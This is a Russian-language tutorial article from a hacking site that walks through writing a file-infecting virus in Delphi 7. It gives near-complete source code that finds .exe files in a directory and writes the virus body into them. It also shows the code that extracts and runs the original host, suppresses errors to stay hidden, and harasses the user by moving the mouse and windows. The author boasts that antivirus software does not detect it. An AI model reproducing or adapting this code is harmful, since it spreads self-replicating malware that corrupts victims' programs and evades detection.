V-zlom.ru » Статьи » Вирус на Делфи 7 Delphi 7

Вирус на Делфи 7 \ Delphi 7

Вирь на Делфи 7 \ Delphi 7
Итак, моя новая статья посвящена вирмэйкерству в особенно извращенной форме. Посещая большое количество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирь на дельфи нельзя...

Что же, я развею этот миф, помимо того на глазах у изумленной публики создам виря размером 23.40 Кб, который будет полноценно размножаться и мешать работе системы.

Итак, наши инструменты:
Борланд Дельфи 7.0 Enterprise Edition
UPX PE packer
Прямые руки :)

Сперва определимся, чего мы желаем. А желаем мы сделать вирь, для этого нужно знать принципы их размножения и поражения жертвы. Вдаваться в терминологию не буду, т.к. за меня это было отлично написано в одном из выпусков "Взломщик-Спец". По этой причине перейдем к делу. Наша зверушка будет размножаться в пределах одного каталога (кто обладает п.3 из набора инструментов тот доработает этот недочет, нам же необходимо сделать тест не расплодив вирус по всему компу) и дописывать себя в старт файла. Сам процесс работы до ужаса банален:

1. Запускаем вирь.
2. Случается проверка, на запуск тела вируса или зараженной утилиты.
3. Если запущенно тело вируса, то переходим к заражению.
4. У нас запущена зараженная программа, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ожидаем когда юзверь закончит работать с ней.
5. Пока юзверь работает мешаем ему как можем.
6. Бедный юзер PC сдался, ему наскучили глюки и он закрыл прогу, затираем созданный файл (тот, который мы распаковали) и продолжаем инфицировать своих соседей по каталогу.
7. Выходим из утилиты.

Вот собственно и все, что мой вирь может, а сейчас реализация. Сперва пишем скелет утилиты:

program zverofil;
uses sysutils,винда;
const virsize=23040;
var victims:tsearchrec;
f1,f2:file;

begin
end;

Вот с чего мы начинаем, к несчастью мне не получилось выкинуть Sysutils , по-другому размер бы ужался до 13кб. Процедура заражения смотрится вот так:

procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BLOCKREAD(f2, Buf,virsize, NR);
BLOCKWRITE(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

Except`ы добавлены из идеи секретности, если вирь наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. По-другому юзера побеспокоит сообщение "File I/O Error" , а нам это ни к чему.

Дальше определяем, есть ли у нас "хвост" или запущенная прога - тело вируса в чистом виде:

filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;

Filemode временно переводит программу в READONLY, по-другому она не даст нам посчитать размер файла и выдаст ошибку.

Поиск и заражение жертв реализуется так:

if FINDFIRST('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);

end;
until FINDNEXT(victims)<>0 ;

Такой странный код из за того, что зараженный файл распадается на "зараженный.ехе" и "незараженный.ехе.ехе" на время запуска, чтоб не попытаться заразить лишь что запущенную программу, которая также ушла в Read Only и необходимо проводить такую проверку.

 

Ну и код исполнения самой зараженной проги будет подобным:

procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');

rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BLOCKREAD(f1, Buf,virsize, NR);
filemode :=2;
BLOCKWRITE(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);

winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:

if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
setcursorpos(random(800),Random(600));
getwindowrect(GETFOREGROUNDWINDOW,rect);
setwindowpos(GETFOREGROUNDWINDOW, HWND_TOPMOST,rect.left+1,rect.top+1, rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
setwindowtext(GETFOREGROUNDWINDOW, 'Antiviruses SUXX! (c)Zerofill');

sleep(400);
goto 10;
end;

except
end;
////
end;

Прошу обратить внимание на последнюю секцию - глумление над пользователем, который работает с зараженной прогой. Мы просто берем и дергаем мышку, а окошко самой нужной утилиты уезжает влево и вниз. Для извращенцев - можете поменять параметр sleep;

Вот собственно и все, надеюсь у вас созрели определенные мысли и идеи по прочтению этой статьи. Напоследок скажу, что этот зверь не виден антивирусами невзирая на то, что я еще в июне отсылал его с исходниками в "Лабараторию Касперского", правда в моем исполнении это был уже почтовый червь (52кб).

  • Автор: kennen
  • Комментарии: 0
  • Просмотры: 1597
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!